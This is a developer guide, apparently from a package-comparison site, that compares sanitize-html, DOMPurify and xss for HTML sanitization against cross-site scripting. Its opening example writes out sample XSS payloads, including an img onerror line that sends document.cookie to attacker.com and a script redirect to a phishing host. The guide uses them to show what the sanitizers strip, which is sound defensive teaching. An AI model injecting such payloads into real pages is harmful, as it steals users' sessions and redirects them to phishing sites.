Skip to main content

Guide

sanitize-html vs DOMPurify vs xss 2026

Compare sanitize-html, DOMPurify, and xss for preventing Cross-Site Scripting attacks. Server-side vs client-side sanitization, allowlists, rich text.

·PkgPulse Team·
0

TL;DR

sanitize-html is the best choice for server-side HTML sanitization (Node.js) — configurable allowlists for tags and attributes, used when processing user-submitted HTML like blog posts or comments. DOMPurify is the gold standard for client-side browser sanitization — DOM-based, extremely fast, handles edge cases that regex-based sanitizers miss, and powers many rich text editors. xss is a lightweight alternative with a simple API — good for basic use cases. In 2026: use sanitize-html on the server, DOMPurify in the browser, and never trust HTML from users without sanitization.

Key Takeaways

  • sanitize-html: ~3M weekly downloads — server-side (Node.js), configurable allowlists, actively maintained
  • dompurify: ~7M weekly downloads — browser-side (DOM-based), fastest, handles all bypass techniques
  • xss: ~2M weekly downloads — simpler API, both browser and server, allowlist/denylist approach
  • XSS attacks inject malicious <script> tags that steal cookies, redirect users, or hijack sessions
  • Never sanitize with regex alone — always use a dedicated library with DOM parsing
  • DOMPurify requires a DOM environment — use dompurify with jsdom for server-side use

The XSS Problem

<!-- User submits a comment with this HTML: -->
<p>Check out this article! <a href="javascript:document.cookie">Click here</a></p>
<img src="x" onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
<script>window.location = 'https://phishing.com'</script>
<style>body { display: none }</style>
<svg><animate onbegin="alert('XSS')"/></svg>

<!-- What SHOULD be rendered: -->
<p>Check out this article! <a href="...">Click here</a></p>
<!-- An image (if the src is valid) -->

<!-- What sanitizers do: -->
<!-- Remove <script>, <style>, event handlers (onerror, onbegin), -->
<!-- javascript: URLs, and dangerous attributes -->

sanitize-html

sanitize-html — server-side HTML sanitizer:

Basic usage

import sanitizeHtml from "sanitize-html"

// Simple sanitization with defaults (blocks almost everything):
const dirty = `<h1>Title</h1> <script>alert('xss')</script> <p>Text</p>`
const clean = sanitizeHtml(dirty)
// "<h1>Title</h1>  <p>Text</p>"  — script removed

// Custom allowlist — only allow specific tags and attributes:
const userInput = `
  <h2>My Blog Post</h2>
  <p>Visit <a href="https://example.com" onclick="steal()">this site</a></p>
  <img src="photo.jpg" onerror="malicious()" alt="Photo">
  <script>alert('xss')</script>
  <style>body { color: red }</style>
`

const safe = sanitizeHtml(userInput, {
  allowedTags: [
    "h1", "h2", "h3", "h4", "h5", "h6",
    "p", "br", "strong", "em", "u", "s",
    "ul", "ol", "li",
    "blockquote", "pre", "code",
    "a", "img",
    "table", "thead", "tbody", "tr", "th", "td",
  ],
  allowedAttributes: {
    "a": ["href", "title", "target"],
    "img": ["src", "alt", "width", "height"],
    "td": ["colspan", "rowspan"],
    "th": ["colspan", "rowspan", "scope"],
    "*": ["class"],  // Allow class on all elements
  },
  // Validate URLs:
  allowedSchemes: ["https", "http", "mailto"],
  allowedSchemesByTag: {
    img: ["https", "data"],  // Allow data: URLs for embedded images
  },
  // Remove invalid or empty attributes:
  allowedSchemesAppliedToAttributes: ["href", "src"],
})

// onclick, onerror are stripped — they're not in allowedAttributes
// <script> and <style> are removed — not in allowedTags
// javascript: href is removed — not in allowedSchemes

Rich text editor output sanitization

import sanitizeHtml from "sanitize-html"

// Common config for sanitizing output from rich text editors
// (Quill, TipTap, ProseMirror, Lexical):
const richTextConfig: sanitizeHtml.IOptions = {
  allowedTags: sanitizeHtml.defaults.allowedTags.concat([
    "img", "span", "del", "ins", "sup", "sub",
    "details", "summary", "figure", "figcaption",
  ]),
  allowedAttributes: {
    ...sanitizeHtml.defaults.allowedAttributes,
    "*": ["class", "style"],
    "a": ["href", "target", "rel"],
    "img": ["src", "alt", "width", "height", "loading"],
  },
  // Only allow safe CSS properties:
  allowedStyles: {
    "*": {
      "color": [/^#[0-9a-fA-F]{3,6}$/, /^rgb\(\d+,\s*\d+,\s*\d+\)$/],
      "text-align": [/^(left|right|center|justify)$/],
      "font-size": [/^\d+(\.\d+)?(px|em|rem)$/],
    },
  },
  // Transform allowed tags:
  transformTags: {
    // Convert all links to rel="noopener noreferrer" and target="_blank":
    "a": (tagName, attribs) => ({
      tagName,
      attribs: {
        ...attribs,
        rel: "noopener noreferrer",
        target: "_blank",
      },
    }),
  },
}

function sanitizeRichText(html: string): string {
  return sanitizeHtml(html, richTextConfig)
}

Sanitize in Express route

import express from "express"
import sanitizeHtml from "sanitize-html"
import { db } from "./db"

const app = express()
app.use(express.json())

// POST /api/comments
app.post("/api/comments", async (req, res) => {
  const { content, postId } = req.body

  if (!content || !postId) {
    return res.status(400).json({ error: "content and postId required" })
  }

  // Sanitize user content before storing:
  const sanitizedContent = sanitizeHtml(content, {
    allowedTags: ["p", "br", "strong", "em", "code", "pre", "a"],
    allowedAttributes: {
      "a": ["href"],
    },
    allowedSchemes: ["https", "http"],
  })

  const comment = await db.comment.create({
    data: {
      content: sanitizedContent,  // Store sanitized HTML
      postId,
      createdAt: new Date(),
    },
  })

  res.json(comment)
})

DOMPurify

DOMPurify — DOM-based client-side sanitizer:

Browser usage

import DOMPurify from "dompurify"

// Basic sanitization:
const dirty = `<img src=x onerror=alert(1)> <p onclick=steal()>Text</p>`
const clean = DOMPurify.sanitize(dirty)
// "<img src="x"> <p>Text</p>"

// DOMPurify is DOM-based — it creates a DOM node, lets the browser parse the HTML,
// then walks the DOM and removes dangerous elements/attributes.
// This is more secure than regex-based approaches because the browser's HTML parser
// handles edge cases that regex can't.

// Return as a string (default):
const html = DOMPurify.sanitize(userContent)

// Return as a DOM DocumentFragment:
const fragment = DOMPurify.sanitize(userContent, { RETURN_DOM_FRAGMENT: true })
document.getElementById("output")?.appendChild(fragment)

// Force parsing as HTML (vs default):
const result = DOMPurify.sanitize(userContent, { FORCE_BODY: true })

Configuration

import DOMPurify from "dompurify"

// Allow specific tags/attributes beyond defaults:
const result = DOMPurify.sanitize(content, {
  ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "ul", "li"],
  ALLOWED_ATTR: ["href", "class"],
})

// Allow only data-* attributes:
const withData = DOMPurify.sanitize(content, {
  ALLOW_DATA_ATTR: true,
})

// Add a hook — called for each node:
DOMPurify.addHook("afterSanitizeAttributes", (node) => {
  // Force all links to open in a new tab:
  if (node.tagName === "A") {
    node.setAttribute("target", "_blank")
    node.setAttribute("rel", "noopener noreferrer")
  }
})

React usage (safe innerHTML)

import DOMPurify from "dompurify"

interface SafeHtmlProps {
  html: string
  className?: string
}

// Safe dangerouslySetInnerHTML wrapper:
function SafeHtml({ html, className }: SafeHtmlProps) {
  const sanitized = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ["p", "br", "strong", "em", "a", "ul", "li", "h1", "h2", "h3"],
    ALLOWED_ATTR: ["href", "class"],
  })

  return (
    <div
      className={className}
      dangerouslySetInnerHTML={{ __html: sanitized }}
    />
  )
}

// Usage:
<SafeHtml html={post.content} className="prose" />

Server-side with jsdom

// DOMPurify requires a DOM environment — on Node.js, use jsdom:
import { JSDOM } from "jsdom"
import DOMPurify from "dompurify"

const window = new JSDOM("").window
const purify = DOMPurify(window)

function sanitize(html: string): string {
  return purify.sanitize(html)
}

// Note: sanitize-html is usually better for server-side use
// DOMPurify + jsdom adds significant overhead

xss

xss — whitelist-based XSS sanitizer:

Basic usage

import xss from "xss"

// Default — removes most tags:
const clean = xss(userInput)

// Custom configuration:
const customXss = new xss.FilterXSS({
  whiteList: {
    a: ["href", "title", "target"],
    p: [],
    strong: [],
    em: [],
    br: [],
    ul: ["class"],
    li: [],
  },
  onTag(tag, html, options) {
    // Return null to remove the tag
    // Return html to keep it
  },
  onTagAttr(tag, name, value, isWhiteAttr) {
    // Return null to remove the attribute
    // Return a string to use that as the attribute value
    if (name === "href") {
      // Block javascript: URLs:
      if (/^javascript:/i.test(value.trim())) {
        return ""
      }
    }
  },
})

const result = customXss.process(userInput)

Feature Comparison

Featuresanitize-htmlDOMPurifyxss
Best environmentServer (Node.js)BrowserBoth
DOM-based parsing✅ (most secure)
CSS property sanitization
Tag transformation hooks
Zero dependencies✅ (browser)
jsdom supportN/A✅ (needed for Node)N/A
TypeScript
PerformanceGood⚡ Fastest (DOM)Good
Weekly downloads~3M~7M~2M

When to Use Each

Choose sanitize-html if:

  • Sanitizing HTML on the server before storing in a database
  • Processing user-submitted blog posts, comments, or rich text
  • Need to allow specific CSS styles (column for style)
  • Want to transform tags (e.g., auto-add rel="noopener" to all links)

Choose DOMPurify if:

  • Sanitizing in the browser before rendering (React's dangerouslySetInnerHTML)
  • Need the most secure approach — DOM parsing catches edge cases
  • Running in environments that already have a DOM (browser, Deno with DOM APIs)
  • Want zero dependencies in the browser

Choose xss if:

  • Simple use case with basic whitelist control
  • Need to run in both Node.js and browser without jsdom overhead
  • Building a comment system with minimal HTML allowed

Never do this:

// ❌ DON'T: Trust user HTML without sanitization:
<div dangerouslySetInnerHTML={{ __html: userContent }} />

// ❌ DON'T: Use regex to strip tags — easily bypassed:
const bad = userInput.replace(/<script>.*?<\/script>/gi, "")
// Bypassed by: <sCrIpT>, <script/>, split across lines, etc.

// ❌ DON'T: Escape HTML for rich text (it removes all formatting):
const escaped = content.replace(/&/g, "&amp;").replace(/</g, "&lt;")
// User loses all their <b>, <p>, <a> formatting

// ✅ DO: Sanitize with a library:
const safe = sanitizeHtml(userContent, { allowedTags: [...], allowedAttributes: {...} })

TypeScript Integration and Type Safety

All three libraries ship TypeScript definitions, but the quality varies in ways that matter for production codebases. sanitize-html has comprehensive types for its IOptions interface — allowedTags, allowedAttributes, allowedStyles, transformTags, and allowedSchemes are all fully typed with good autocomplete support. The transformTags callback receives typed attribs objects, so TypeScript will flag typos in attribute names. DOMPurify ships types that cover its configuration object and hook system, making the addHook API type-safe with discriminated unions on the node type. The xss library's TypeScript support is functional but less complete — the onTag and onTagAttr hooks accept broad parameter types, which can mask accidental type errors in custom filtering logic. For TypeScript-heavy projects using server-side sanitization, sanitize-html's typed configuration is a meaningful productivity advantage when configuring complex allowlists for multi-tenant CMS scenarios.

Production Deployment Considerations

Server-side sanitization performance is rarely a bottleneck in isolation, but it becomes relevant when processing large batches of user-submitted content — for example, in import pipelines that ingest thousands of records at once. sanitize-html has a synchronous API that processes HTML as a string parse, making it suitable for both request-response cycles and batch processing. DOMPurify on the server via jsdom creates a full DOM environment per-call, which adds overhead compared to the string-based approach; for server-side bulk processing, sanitize-html consistently outperforms the jsdom/DOMPurify combination. The xss library's performance is comparable to sanitize-html for typical payloads, but its lack of CSS property allowlisting means teams often pair it with a second pass through a CSS sanitizer like postcss or a custom regex for style attribute values.

In microservice architectures where the sanitization layer runs as a separate service, caching the compiled configuration object matters. Both sanitize-html and xss accept configuration objects that can be created once at module initialization and reused across requests — avoid creating the configuration inside request handlers where it would be re-parsed on every call. For sanitize-html, the allowedStyles property with regex patterns is particularly worth pre-compiling at startup rather than recreating per-request, as the regex compilation overhead is non-trivial at high throughput.

Content Security Policy as a Defense-in-Depth Layer

HTML sanitization is necessary but not sufficient on its own. Even the most carefully configured sanitizer can be bypassed by novel injection vectors, browser-specific parsing quirks, or configuration errors (for example, forgetting to add data: URLs to the image allowlist but then having a different code path inject them). Content Security Policy (CSP) is the browser-level defense that limits the damage when sanitization fails or is misconfigured.

A well-configured CSP header blocks inline script execution even if an attacker successfully injects a <script> tag, and blocks unauthorized resource loading even if an injected <img onerror> fires. The combination of server-side sanitization with sanitize-html and a strict Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none' header is significantly more secure than either alone. CSP also provides Subresource Integrity checking via the integrity attribute on <script> and <link> tags, which prevents CDN-delivered scripts from being silently replaced.

For React applications that use DOMPurify with dangerouslySetInnerHTML, a nonce-based CSP is the practical approach — each rendered page receives a unique nonce injected into approved <script> tags, which the browser uses to decide which scripts to execute. Next.js 14+ has built-in nonce injection support via middleware. The nonce approach is compatible with DOMPurify because DOMPurify strips all inline event handlers and javascript: URLs before the browser sees them, while CSP provides a second enforcement layer in case DOMPurify's allowlist is too permissive.

Ecosystem Context and Long-Term Maintenance

The maintenance trajectories of these three libraries reflect their organizational backing. sanitize-html is maintained by ApostropheCMS — a commercial CMS company that uses sanitize-html as a core dependency in their product, providing strong incentive for continued maintenance and compatibility updates. DOMPurify is maintained by cure53, a Berlin-based security research firm that has also audited DOMPurify formally. The combination of active security research and production deployment at scale (powering rich text editors in major CMS platforms) gives DOMPurify an unusually strong security pedigree. The xss library is maintained primarily by one developer and has seen slower update cadence since 2022. For production systems where security library maintenance history is a procurement or compliance consideration, sanitize-html and DOMPurify have the stronger organizational backing.

Handling Rich Text Editor Output

Rich text editors are the most common source of complex sanitization requirements in production applications. Editors like Tiptap, Quill, ProseMirror, and Lexical all generate structured HTML that must preserve formatting (bold, italic, headings, lists, links, images) while blocking injection attempts. The challenge is that the same attributes that enable legitimate formatting — style, class, href — are also vectors for XSS when misconfigured.

sanitize-html is the most practical choice for server-side rich text sanitization because of its allowedStyles option. When a user applies a font color or text alignment in a rich text editor, the editor injects inline style attributes. Allowing the entire style attribute would enable injection via style="behavior:url(attacker.com)" or expression() in older IE. The allowedStyles configuration lets you specify CSS property allowlists with regex validation — for example, only allowing color values that match /#[0-9a-fA-F]{3,6}/ ensures no JavaScript expression can slip through. This level of granularity is not available in DOMPurify or xss.

For client-side preview in the editor itself — rendering the user's formatted content back to them as they type — DOMPurify is the right layer. The editor component receives the serialized HTML, sanitizes it with DOMPurify before inserting it into the DOM, and the browser renders the result. This prevents the editor's own live preview from being exploited. The two-layer approach (DOMPurify in the browser for preview, sanitize-html on the server for storage) is the pattern used by most production CMS systems.

Methodology

Download data from npm registry (weekly average, February 2026). Feature comparison based on sanitize-html v2.x, DOMPurify v3.x, and xss v1.x.

Compare security and content processing packages on PkgPulse →

See also: AVA vs Jest and Wretch vs ky vs ofetch: Modern HTTP Client 2026, acorn vs @babel/parser vs espree.

The 2026 JavaScript Stack Cheatsheet

One PDF: the best package for every category (ORMs, bundlers, auth, testing, state management). Used by 500+ devs. Free, updated monthly.